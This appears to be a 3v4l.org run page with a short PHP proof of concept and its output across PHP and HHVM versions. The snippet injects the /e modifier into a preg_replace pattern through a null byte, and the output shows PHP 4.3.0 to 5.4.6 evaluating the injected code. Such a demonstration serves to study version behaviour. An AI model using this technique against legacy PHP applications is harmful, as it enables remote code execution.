3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $secret = 9292929; $data = '"I will write the payload code in this pice of content" . ($secret = 1111111) . "that is sent to you previously $0"'; $trigger = ".*/e\0"; preg_replace( "/$trigger/i", $data, $data ); var_dump( $secret );
Output for 5.4.7 - 5.6.28, 7.0.0 - 7.1.0
Warning: preg_replace(): Null byte in regex in /in/0Klme on line 8 int(9292929)
Output for hhvm-3.12.0
Fatal error: Uncaught Error: Error: Null byte found in pattern in /in/0Klme:8 Stack trace: #0 {main}
Process exited with code 255.
Output for hhvm-3.10.0
Fatal error: Error: Null byte found in pattern in /in/0Klme on line 8
Process exited with code 255.
Output for 4.3.0 - 5.4.6
int(1111111)